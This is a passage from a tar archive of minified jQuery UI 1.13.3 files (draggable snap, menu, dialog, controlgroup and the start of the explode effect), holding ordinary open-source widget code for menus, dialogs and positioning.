i,o,n,r,l,a,h,p,c,f=s.options,d=f.snapTolerance,g=e.offset.left,u=g+s.helperProportions.width,m=e.offset.top,v=m+s.helperProportions.height,_=s.snapElements.length-1;0<=_;_--)a=(l=s.snapElements[_].left-s.margins.left)+s.snapElements[_].width,p=(h=s.snapElements[_].top-s.margins.top)+s.snapElements[_].height,u<l-d||a+d<g||v<h-d||p+d<m||!P.contains(s.snapElements[_].item.ownerDocument,s.snapElements[_].item)?(s.snapElements[_].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,P.extend(s._uiHash(),{snapItem:s.snapElements[_].item})),s.snapElements[_].snapping=!1):("inner"!==f.snapMode&&(i=Math.abs(h-v)<=d,o=Math.abs(p-m)<=d,n=Math.abs(l-u)<=d,r=Math.abs(a-g)<=d,i&&(e.position.top=s._convertPositionTo("relative",{top:h-s.helperProportions.height,left:0}).top),o&&(e.position.top=s._convertPositionTo("relative",{top:p,left:0}).top),n&&(e.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left),r)&&(e.position.left=s._convertPositionTo("relative",{top:0,left:a}).left),c=i||o||n||r,"outer"!==f.snapMode&&(i=Math.abs(h-m)<=d,o=Math.abs(p-v)<=d,n=Math.abs(l-g)<=d,r=Math.abs(a-u)<=d,i&&(e.position.top=s._convertPositionTo("relative",{top:h,left:0}).top),o&&(e.position.top=s._convertPositionTo("relative",{top:p-s.helperProportions.height,left:0}).top),n&&(e.position.left=s._convertPositionTo("relative",{top:0,left:l}).left),r)&&(e.position.left=s._convertPositionTo("relative",{top:0,left:a-s.helperProportions.width}).left),!s.snapElements[_].snapping&&(i||o||n||r||c)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,P.extend(s._uiHash(),{snapItem:s.snapElements[_].item})),s.snapElements[_].snapping=i||o||n||r||c)}}),P.ui.plugin.add("draggable","stack",{start:function(t,e,s){var i,s=s.options,s=P.makeArray(P(s.stack)).sort(function(t,e){return(parseInt(P(t).css("zIndex"),10)||0)-(parseInt(P(e).css("zIndex"),10)||0)});s.length&&(i=parseInt(P(s[0]).css("zIndex"),10)||0,P(s).each(function(t){P(this).css("zIndex",i+t)}),this.css("zIndex",i+s.length))}}),P.ui.plugin.add("draggable","zIndex",{start:function(t,e,s){e=P(e.helper),s=s.options;e.css("zIndex")&&(s._zIndex=e.css("zIndex")),e.css("zIndex",s.zIndex)},stop:function(t,e,s){s=s.options;s._zIndex&&P(e.helper).css("zIndex",s._zIndex)}}),P.ui.draggable}); jquery/ui/menu.min.js 0000644 00000023727 15111757754 0010614 0 ustar 00 /*! * jQuery UI Menu 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../keycode","../position","../safe-active-element","../unique-id","../version","../widget"],e):e(jQuery)}(function(a){"use strict";return a.widget("ui.menu",{version:"1.13.3",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.lastMousePosition={x:null,y:null},this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(e){e.preventDefault(),this._activateItem(e)},"click .ui-menu-item":function(e){var t=a(e.target),i=a(a.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&t.not(".ui-state-disabled").length&&(this.select(e),e.isPropagationStopped()||(this.mouseHandled=!0),t.has(".ui-menu").length?this.expand(e):!this.element.is(":focus")&&i.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active)&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer))},"mouseenter .ui-menu-item":"_activateItem","mousemove .ui-menu-item":"_activateItem",mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(e,t){var i=this.active||this._menuItems().first();t||this.focus(e,i)},blur:function(e){this._delay(function(){a.contains(this.element[0],a.ui.safeActiveElement(this.document[0]))||this.collapseAll(e)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(e){this._closeOnDocumentClick(e)&&this.collapseAll(e,!0),this.mouseHandled=!1}})},_activateItem:function(e){var t,i;this.previousFilter||e.clientX===this.lastMousePosition.x&&e.clientY===this.lastMousePosition.y||(this.lastMousePosition={x:e.clientX,y:e.clientY},t=a(e.target).closest(".ui-menu-item"),i=a(e.currentTarget),t[0]!==i[0])||i.is(".ui-state-active")||(this._removeClass(i.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(e,i))},_destroy:function(){var e=this.element.find(".ui-menu-item").removeAttr("role aria-disabled").children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),e.children().each(function(){var e=a(this);e.data("ui-menu-submenu-caret")&&e.remove()})},_keydown:function(e){var t,i,s,n=!0;switch(e.keyCode){case a.ui.keyCode.PAGE_UP:this.previousPage(e);break;case a.ui.keyCode.PAGE_DOWN:this.nextPage(e);break;case a.ui.keyCode.HOME:this._move("first","first",e);break;case a.ui.keyCode.END:this._move("last","last",e);break;case a.ui.keyCode.UP:this.previous(e);break;case a.ui.keyCode.DOWN:this.next(e);break;case a.ui.keyCode.LEFT:this.collapse(e);break;case a.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(e);break;case a.ui.keyCode.ENTER:case a.ui.keyCode.SPACE:this._activate(e);break;case a.ui.keyCode.ESCAPE:this.collapse(e);break;default:t=this.previousFilter||"",s=n=!1,i=96<=e.keyCode&&e.keyCode<=105?(e.keyCode-96).toString():String.fromCharCode(e.keyCode),clearTimeout(this.filterTimer),i===t?s=!0:i=t+i,t=this._filterMenuItems(i),(t=s&&-1!==t.index(this.active.next())?this.active.nextAll(".ui-menu-item"):t).length||(i=String.fromCharCode(e.keyCode),t=this._filterMenuItems(i)),t.length?(this.focus(e,t),this.previousFilter=i,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}n&&e.preventDefault()},_activate:function(e){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(e):this.select(e))},refresh:function(){var e,t,s=this,n=this.options.icons.submenu,i=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),e=i.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var e=a(this),t=e.prev(),i=a("<span>").data("ui-menu-submenu-caret",!0);s._addClass(i,"ui-menu-icon","ui-icon "+n),t.attr("aria-haspopup","true").prepend(i),e.attr("aria-labelledby",t.attr("id"))}),this._addClass(e,"ui-menu","ui-widget ui-widget-content ui-front"),(e=i.add(this.element).find(this.options.items)).not(".ui-menu-item").each(function(){var e=a(this);s._isDivider(e)&&s._addClass(e,"ui-menu-divider","ui-widget-content")}),t=(i=e.not(".ui-menu-item, .ui-menu-divider")).children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(i,"ui-menu-item")._addClass(t,"ui-menu-item-wrapper"),e.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!a.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(e,t){var i;"icons"===e&&(i=this.element.find(".ui-menu-icon"),this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,t.submenu)),this._super(e,t)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",String(e)),this._toggleClass(null,"ui-state-disabled",!!e)},focus:function(e,t){var i;this.blur(e,e&&"focus"===e.type),this._scrollIntoView(t),this.active=t.first(),i=this.active.children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",i.attr("id")),i=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),e&&"keydown"===e.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),(i=t.children(".ui-menu")).length&&e&&/^mouse/.test(e.type)&&this._startOpening(i),this.activeMenu=t.parent(),this._trigger("focus",e,{item:t})},_scrollIntoView:function(e){var t,i,s;this._hasScroll()&&(t=parseFloat(a.css(this.activeMenu[0],"borderTopWidth"))||0,i=parseFloat(a.css(this.activeMenu[0],"paddingTop"))||0,t=e.offset().top-this.activeMenu.offset().top-t-i,i=this.activeMenu.scrollTop(),s=this.activeMenu.height(),e=e.outerHeight(),t<0?this.activeMenu.scrollTop(i+t):s<t+e&&this.activeMenu.scrollTop(i+t-s+e))},blur:function(e,t){t||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",e,{item:this.active}),this.active=null)},_startOpening:function(e){clearTimeout(this.timer),"true"===e.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(e)},this.delay))},_open:function(e){var t=a.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(e.parents(".ui-menu")).hide().attr("aria-hidden","true"),e.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(t)},collapseAll:function(t,i){clearTimeout(this.timer),this.timer=this._delay(function(){var e=i?this.element:a(t&&t.target).closest(this.element.find(".ui-menu"));e.length||(e=this.element),this._close(e),this.blur(t),this._removeClass(e.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=e},i?0:this.delay)},_close:function(e){(e=e||(this.active?this.active.parent():this.element)).find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(e){return!a(e.target).closest(".ui-menu").length},_isDivider:function(e){return!/[^\-\u2014\u2013\s]/.test(e.text())},collapse:function(e){var t=this.active&&this.active.parent().closest(".ui-menu-item",this.element);t&&t.length&&(this._close(),this.focus(e,t))},expand:function(e){var t=this.active&&this._menuItems(this.active.children(".ui-menu")).first();t&&t.length&&(this._open(t.parent()),this._delay(function(){this.focus(e,t)}))},next:function(e){this._move("next","first",e)},previous:function(e){this._move("prev","last",e)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_menuItems:function(e){return(e||this.element).find(this.options.items).filter(".ui-menu-item")},_move:function(e,t,i){var s;(s=this.active?"first"===e||"last"===e?this.active["first"===e?"prevAll":"nextAll"](".ui-menu-item").last():this.active[e+"All"](".ui-menu-item").first():s)&&s.length&&this.active||(s=this._menuItems(this.activeMenu)[t]()),this.focus(i,s)},nextPage:function(e){var t,i,s;this.active?this.isLastItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===a.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.nextAll(".ui-menu-item").each(function(){return(t=a(this)).offset().top-i-s<0}),this.focus(e,t)):this.focus(e,this._menuItems(this.activeMenu)[this.active?"last":"first"]())):this.next(e)},previousPage:function(e){var t,i,s;this.active?this.isFirstItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===a.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.prevAll(".ui-menu-item").each(function(){return 0<(t=a(this)).offset().top-i+s}),this.focus(e,t)):this.focus(e,this._menuItems(this.activeMenu).first())):this.next(e)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(e){this.active=this.active||a(e.target).closest(".ui-menu-item");var t={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(e,!0),this._trigger("select",e,t)},_filterMenuItems:function(e){var e=e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),t=new RegExp("^"+e,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return t.test(String.prototype.trim.call(a(this).children(".ui-menu-item-wrapper").text()))})}})}); jquery/ui/dialog.min.js 0000644 00000031452 15111757754 0011101 0 ustar 00 /*! * jQuery UI Dialog 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(i){"use strict";"function"==typeof define&&define.amd?define(["jquery","./button","./draggable","./mouse","./resizable","../focusable","../keycode","../position","../safe-active-element","../safe-blur","../tabbable","../unique-id","../version","../widget"],i):i(jQuery)}(function(l){"use strict";return l.widget("ui.dialog",{version:"1.13.3",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(i){var t=l(this).css(i).offset().top;t<0&&l(this).css("top",i.top-t)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),null==this.options.title&&null!=this.originalTitle&&(this.options.title=this.originalTitle),this.options.disabled&&(this.options.disabled=!1),this._createWrapper(),this.element.show().removeAttr("title").appendTo(this.uiDialog),this._addClass("ui-dialog-content","ui-widget-content"),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&l.fn.draggable&&this._makeDraggable(),this.options.resizable&&l.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var i=this.options.appendTo;return i&&(i.jquery||i.nodeType)?l(i):this.document.find(i||"body").eq(0)},_destroy:function(){var i,t=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().css(this.originalCss).detach(),this.uiDialog.remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),(i=t.parent.children().eq(t.index)).length&&i[0]!==this.element[0]?i.before(this.element):t.parent.append(this.element)},widget:function(){return this.uiDialog},disable:l.noop,enable:l.noop,close:function(i){var t=this;this._isOpen&&!1!==this._trigger("beforeClose",i)&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||l.ui.safeBlur(l.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,function(){t._trigger("close",i)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(i,t){var e=!1,o=this.uiDialog.siblings(".ui-front:visible").map(function(){return+l(this).css("z-index")}).get(),o=Math.max.apply(null,o);return o>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",o+1),e=!0),e&&!t&&this._trigger("focus",i),e},open:function(){var i=this;this._isOpen?this._moveToTop()&&this._focusTabbable():(this._isOpen=!0,this.opener=l(l.ui.safeActiveElement(this.document[0])),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,function(){i._focusTabbable(),i._trigger("focus")}),this._makeFocusTarget(),this._trigger("open"))},_focusTabbable:function(){var i=this._focusedElement;(i=(i=(i=(i=(i=i||this.element.find("[autofocus]")).length?i:this.element.find(":tabbable")).length?i:this.uiDialogButtonPane.find(":tabbable")).length?i:this.uiDialogTitlebarClose.filter(":tabbable")).length?i:this.uiDialog).eq(0).trigger("focus")},_restoreTabbableFocus:function(){var i=l.ui.safeActiveElement(this.document[0]);this.uiDialog[0]===i||l.contains(this.uiDialog[0],i)||this._focusTabbable()},_keepFocus:function(i){i.preventDefault(),this._restoreTabbableFocus(),this._delay(this._restoreTabbableFocus)},_createWrapper:function(){this.uiDialog=l("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content ui-front"),this._on(this.uiDialog,{keydown:function(i){var t,e,o;this.options.closeOnEscape&&!i.isDefaultPrevented()&&i.keyCode&&i.keyCode===l.ui.keyCode.ESCAPE?(i.preventDefault(),this.close(i)):i.keyCode!==l.ui.keyCode.TAB||i.isDefaultPrevented()||(t=this.uiDialog.find(":tabbable"),e=t.first(),o=t.last(),i.target!==o[0]&&i.target!==this.uiDialog[0]||i.shiftKey?i.target!==e[0]&&i.target!==this.uiDialog[0]||!i.shiftKey||(this._delay(function(){o.trigger("focus")}),i.preventDefault()):(this._delay(function(){e.trigger("focus")}),i.preventDefault()))},mousedown:function(i){this._moveToTop(i)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var i;this.uiDialogTitlebar=l("<div>"),this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix"),this._on(this.uiDialogTitlebar,{mousedown:function(i){l(i.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}}),this.uiDialogTitlebarClose=l("<button type='button'></button>").button({label:l("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar),this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close"),this._on(this.uiDialogTitlebarClose,{click:function(i){i.preventDefault(),this.close(i)}}),i=l("<span>").uniqueId().prependTo(this.uiDialogTitlebar),this._addClass(i,"ui-dialog-title"),this._title(i),this.uiDialogTitlebar.prependTo(this.uiDialog),this.uiDialog.attr({"aria-labelledby":i.attr("id")})},_title:function(i){this.options.title?i.text(this.options.title):i.html(" ")},_createButtonPane:function(){this.uiDialogButtonPane=l("<div>"),this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix"),this.uiButtonSet=l("<div>").appendTo(this.uiDialogButtonPane),this._addClass(this.uiButtonSet,"ui-dialog-buttonset"),this._createButtons()},_createButtons:function(){var o=this,i=this.options.buttons;this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),l.isEmptyObject(i)||Array.isArray(i)&&!i.length?this._removeClass(this.uiDialog,"ui-dialog-buttons"):(l.each(i,function(i,t){var e;t=l.extend({type:"button"},t="function"==typeof t?{click:t,text:i}:t),e=t.click,i={icon:t.icon,iconPosition:t.iconPosition,showLabel:t.showLabel,icons:t.icons,text:t.text},delete t.click,delete t.icon,delete t.iconPosition,delete t.showLabel,delete t.icons,"boolean"==typeof t.text&&delete t.text,l("<button></button>",t).button(i).appendTo(o.uiButtonSet).on("click",function(){e.apply(o.element[0],arguments)})}),this._addClass(this.uiDialog,"ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog))},_makeDraggable:function(){var s=this,n=this.options;function a(i){return{position:i.position,offset:i.offset}}this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(i,t){s._addClass(l(this),"ui-dialog-dragging"),s._blockFrames(),s._trigger("dragStart",i,a(t))},drag:function(i,t){s._trigger("drag",i,a(t))},stop:function(i,t){var e=t.offset.left-s.document.scrollLeft(),o=t.offset.top-s.document.scrollTop();n.position={my:"left top",at:"left"+(0<=e?"+":"")+e+" top"+(0<=o?"+":"")+o,of:s.window},s._removeClass(l(this),"ui-dialog-dragging"),s._unblockFrames(),s._trigger("dragStop",i,a(t))}})},_makeResizable:function(){var s=this,n=this.options,i=n.resizable,t=this.uiDialog.css("position"),i="string"==typeof i?i:"n,e,s,w,se,sw,ne,nw";function a(i){return{originalPosition:i.originalPosition,originalSize:i.originalSize,position:i.position,size:i.size}}this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:n.maxWidth,maxHeight:n.maxHeight,minWidth:n.minWidth,minHeight:this._minHeight(),handles:i,start:function(i,t){s._addClass(l(this),"ui-dialog-resizing"),s._blockFrames(),s._trigger("resizeStart",i,a(t))},resize:function(i,t){s._trigger("resize",i,a(t))},stop:function(i,t){var e=s.uiDialog.offset(),o=e.left-s.document.scrollLeft(),e=e.top-s.document.scrollTop();n.height=s.uiDialog.height(),n.width=s.uiDialog.width(),n.position={my:"left top",at:"left"+(0<=o?"+":"")+o+" top"+(0<=e?"+":"")+e,of:s.window},s._removeClass(l(this),"ui-dialog-resizing"),s._unblockFrames(),s._trigger("resizeStop",i,a(t))}}).css("position",t)},_trackFocus:function(){this._on(this.widget(),{focusin:function(i){this._makeFocusTarget(),this._focusedElement=l(i.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var i=this._trackingInstances(),t=l.inArray(this,i);-1!==t&&i.splice(t,1)},_trackingInstances:function(){var i=this.document.data("ui-dialog-instances");return i||this.document.data("ui-dialog-instances",i=[]),i},_minHeight:function(){var i=this.options;return"auto"===i.height?i.minHeight:Math.min(i.minHeight,i.height)},_position:function(){var i=this.uiDialog.is(":visible");i||this.uiDialog.show(),this.uiDialog.position(this.options.position),i||this.uiDialog.hide()},_setOptions:function(i){var e=this,o=!1,s={};l.each(i,function(i,t){e._setOption(i,t),i in e.sizeRelatedOptions&&(o=!0),i in e.resizableRelatedOptions&&(s[i]=t)}),o&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",s)},_setOption:function(i,t){var e,o=this.uiDialog;"disabled"!==i&&(this._super(i,t),"appendTo"===i&&this.uiDialog.appendTo(this._appendTo()),"buttons"===i&&this._createButtons(),"closeText"===i&&this.uiDialogTitlebarClose.button({label:l("<a>").text(""+this.options.closeText).html()}),"draggable"===i&&((e=o.is(":data(ui-draggable)"))&&!t&&o.draggable("destroy"),!e)&&t&&this._makeDraggable(),"position"===i&&this._position(),"resizable"===i&&((e=o.is(":data(ui-resizable)"))&&!t&&o.resizable("destroy"),e&&"string"==typeof t&&o.resizable("option","handles",t),e||!1===t||this._makeResizable()),"title"===i)&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title"))},_size:function(){var i,t,e,o=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),o.minWidth>o.width&&(o.width=o.minWidth),i=this.uiDialog.css({height:"auto",width:o.width}).outerHeight(),t=Math.max(0,o.minHeight-i),e="number"==typeof o.maxHeight?Math.max(0,o.maxHeight-i):"none","auto"===o.height?this.element.css({minHeight:t,maxHeight:e,height:"auto"}):this.element.height(Math.max(0,o.height-i)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var i=l(this);return l("<div>").css({position:"absolute",width:i.outerWidth(),height:i.outerHeight()}).appendTo(i.parent()).offset(i.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(i){return!!l(i.target).closest(".ui-dialog").length||!!l(i.target).closest(".ui-datepicker").length},_createOverlay:function(){var e,o;this.options.modal&&(e=l.fn.jquery.substring(0,4),o=!0,this._delay(function(){o=!1}),this.document.data("ui-dialog-overlays")||this.document.on("focusin.ui-dialog",function(i){var t;o||(t=this._trackingInstances()[0])._allowInteraction(i)||(i.preventDefault(),t._focusTabbable(),"3.4."!==e&&"3.5."!==e&&"3.6."!==e)||t._delay(t._restoreTabbableFocus)}.bind(this)),this.overlay=l("<div>").appendTo(this._appendTo()),this._addClass(this.overlay,null,"ui-widget-overlay ui-front"),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1))},_destroyOverlay:function(){var i;this.options.modal&&this.overlay&&((i=this.document.data("ui-dialog-overlays")-1)?this.document.data("ui-dialog-overlays",i):(this.document.off("focusin.ui-dialog"),this.document.removeData("ui-dialog-overlays")),this.overlay.remove(),this.overlay=null)}}),!1!==l.uiBackCompat&&l.widget("ui.dialog",l.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super(),this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(i,t){"dialogClass"===i&&this.uiDialog.removeClass(this.options.dialogClass).addClass(t),this._superApply(arguments)}}),l.ui.dialog}); jquery/ui/controlgroup.min.js 0000644 00000010462 15111757754 0012375 0 ustar 00 /*! * jQuery UI Controlgroup 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","../widget"],t):t(jQuery)}(function(r){"use strict";var s=/ui-corner-([a-z]){2,6}/g;return r.widget("ui.controlgroup",{version:"1.13.3",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar"),this.refresh()},_destroy:function(){this._callChildMethod("destroy"),this.childWidgets.removeData("ui-controlgroup-data"),this.element.removeAttr("role"),this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var s=this,l=[];r.each(this.options.items,function(n,t){var e,o={};t&&("controlgroupLabel"===n?((e=s.element.find(t)).each(function(){var t=r(this);t.children(".ui-controlgroup-label-contents").length||t.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")}),s._addClass(e,null,"ui-widget ui-widget-content ui-state-default"),l=l.concat(e.get())):r.fn[n]&&(o=s["_"+n+"Options"]?s["_"+n+"Options"]("middle"):{classes:{}},s.element.find(t).each(function(){var t=r(this),e=t[n]("instance"),i=r.widget.extend({},o);"button"===n&&t.parent(".ui-spinner").length||((e=e||t[n]()[n]("instance"))&&(i.classes=s._resolveClassesValues(i.classes,e)),t[n](i),i=t[n]("widget"),r.data(i[0],"ui-controlgroup-data",e||t[n]("instance")),l.push(i[0]))})))}),this.childWidgets=r(r.uniqueSort(l)),this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(e){this.childWidgets.each(function(){var t=r(this).data("ui-controlgroup-data");t&&t[e]&&t[e]()})},_updateCornerClass:function(t,e){e=this._buildSimpleOptions(e,"label").classes.label;this._removeClass(t,null,"ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"),this._addClass(t,null,e)},_buildSimpleOptions:function(t,e){var i="vertical"===this.options.direction,n={classes:{}};return n.classes[e]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[t],n},_spinnerOptions:function(t){t=this._buildSimpleOptions(t,"ui-spinner");return t.classes["ui-spinner-up"]="",t.classes["ui-spinner-down"]="",t},_buttonOptions:function(t){return this._buildSimpleOptions(t,"ui-button")},_checkboxradioOptions:function(t){return this._buildSimpleOptions(t,"ui-checkboxradio-label")},_selectmenuOptions:function(t){var e="vertical"===this.options.direction;return{width:e&&"auto",classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(e?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(e?"top":"left")},last:{"ui-selectmenu-button-open":e?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(e?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[t]}},_resolveClassesValues:function(i,n){var o={};return r.each(i,function(t){var e=n.options.classes[t]||"",e=String.prototype.trim.call(e.replace(s,""));o[t]=(e+" "+i[t]).replace(/\s+/g," ")}),o},_setOption:function(t,e){"direction"===t&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(t,e),"disabled"===t?this._callChildMethod(e?"disable":"enable"):this.refresh()},refresh:function(){var o,s=this;this._addClass("ui-controlgroup ui-controlgroup-"+this.options.direction),"horizontal"===this.options.direction&&this._addClass(null,"ui-helper-clearfix"),this._initWidgets(),o=this.childWidgets,(o=this.options.onlyVisible?o.filter(":visible"):o).length&&(r.each(["first","last"],function(t,e){var i,n=o[e]().data("ui-controlgroup-data");n&&s["_"+n.widgetName+"Options"]?((i=s["_"+n.widgetName+"Options"](1===o.length?"only":e)).classes=s._resolveClassesValues(i.classes,n),n.element[n.widgetName](i)):s._updateCornerClass(o[e](),e)}),this._callChildMethod("refresh"))}})}); jquery/ui/effect-explode.js 0000644 00000005554 15111757754 0011756 0 ustar 00 /*! * jQuery UI Effects Explode 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Explode Effect //>>group: Effects /* eslint-disable max-len */ //>>description: Explodes an element in all directions into n pieces. Implodes an element to its original wholeness. /* eslint-enable max-len */ //>>docs: https://api.jqueryui.com/explode-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { 